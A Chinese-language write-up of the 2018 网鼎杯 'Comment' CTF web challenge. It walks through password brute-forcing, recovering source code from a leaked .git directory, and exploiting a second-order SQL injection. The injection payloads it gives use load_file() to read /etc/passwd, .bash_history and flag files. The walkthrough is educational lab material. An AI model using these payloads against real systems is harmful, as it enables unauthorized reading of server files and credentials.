美文网首页CTF-WEB
2018-网鼎杯-Web-Comment

2018-网鼎杯-Web-Comment

作者: 余生似梦 | 来源:发表于2021-02-07 09:36 被阅读0次

复现环境

https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202018]Comment

考察知识点

  • 密码爆破
  • .git文件泄露
  • 代码审计
  • 二次注入
  • .DS_Store文件泄露

解题分析

主页面是一个留言板,发帖需要先登录

image

爆破密码为zhangwei666,有点特别的是爆破的时候他的长度是在中间的

burp

F12在控制台处看到提示

F12

后台(dirb)扫描到有.git文件泄露,但是下载下来的源码不全

git log --reflog

看一下git的操作记录,发现历史有过三个版本

commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
Merge: bfbdf21 5556e3a
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:51:17 2018 +0800 WIP on master: bfbdf21 add write_do.php

commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:51:17 2018 +0800 index on master: bfbdf21 add write_do.php

commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master)
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:47:29 2018 +0800 add write_do.php</pre>

恢复到第一个版本

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

得到完整源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

do这个参数有两个功能,write和comment。
在write部分三个字段均使用addslashes()函数进行了过滤

$category = addslashes($_POST['category']); 
$title = addslashes($_POST['title']); 
$content = addslashes($_POST['content']);

但是在comment部分对从数据库中取出的category没有过滤,这就造成了二次注入

$category = mysql_fetch_array($result)['category']; 
$content = addslashes($_POST['content']);

这里的二次注入表现为,addslashes过滤后产生的\不会进入数据库,即'1过滤后变成\'1,进入库中却仍为'1,我们在取出数据后进行二次拼接,即可造成注入

在发帖处构造category为

', content=user(),/*

在留言处输入的content为

*/#

最后的表现形式为

$sql = "insert into comment
            set category = '', content=user(),/*  
                content = '*/#',
                bo_id = '$bo_id'";

相当于我们构造了新的content,原来的content被我们用多行注释符/**/注释掉了

image

看到用户为root,如此高的权限,可以尝试使用load_file()读取文件

', content=load_file('/etc/passwd'),/*</pre>
/etc/passwd

读取.bash_history 历史操作

', content=load_file('/home/www/.bash_history'),/*
bash_history

注意到虽然/var/www/html目录下的.DS_Store文件被删除了,但是/tmp/html目录下的.DS_Store文件还在,读一下

', content=hex(load_file('/tmp/html/.DS_Store')),/*

获取到的十六进制数据使用winhex打开,看到有flag_8946e1ff1ee3e40f.php,读一下。注意flag在页面源代码中,按F12查看

', content=load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'),/*
flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}

假的flag,换一个目录读/var/www/html/

', content=(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*

获取到真实的flag

flag{0f843a71-795a-4235-9280-4c9acfbfc6b2}

参考

夜幕下的灯火阑珊

相关文章

  • 2018-网鼎杯-Web-Comment

    复现环境 https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9...

  • 2018-网鼎杯 pwn(部分线上+线下)

    第一场: pwn--guess 可以看到,这题是把flag存在栈里面,然后让你去猜flag,这种题目一看就是让你泄...

  • [网鼎杯] writeup

    网鼎杯 这次还行很开心 挺满足 题目列表 web facebook 首先访问robots.txt 存在备份泄露,把...

  • 2018-网鼎杯 第一场 pwn writueup

    网鼎杯第一场wp guess防护机制:image.png 开启了canary和NX 简单的看了下反编译的逻辑 发现...

  • [网鼎杯线下] web && droopy 靶场

    网鼎杯线下web && droopy 靶场 这次网鼎打完啦,还是觉得自己太菜了半决赛第二也是抱了pwn爷爷的大腿(...

  • 网鼎杯blend wp

    记录一次菜的抠脚的学习过程 题目是一个bin文件,首先通过file命令看一下文件格式 拖到IDA Pro 可以识别...

  • 网鼎杯(4)-pwn

    题目链接 保护还挺多 主要漏洞点: stack函数有栈溢出,还有puts函数可以泄漏栈的东西 secret函数由于...

  • 网鼎杯(1)-guess

    明显的栈溢出漏洞,但是开了canary保护但是flag被读取到栈上,所以可以用SSP(Stack Smashes ...

  • 网鼎杯(1)-blind

    怀着学习的心态就看了两道题(都有点难 很明显的uaf漏洞,但是开了RELRO,而且泄漏不了地址,但是可以利用uaf...

  • 网鼎杯线下赛

    网鼎杯线下赛 初赛的时候因为和江苏的比赛时间冲突了所以我没打, 不过各位大佬们都很强, 最终以线上赛第一名的名次进...

网友评论

    本文标题:2018-网鼎杯-Web-Comment

    本文链接:https://www.haomeiwen.com/subject/bhfbtltx.html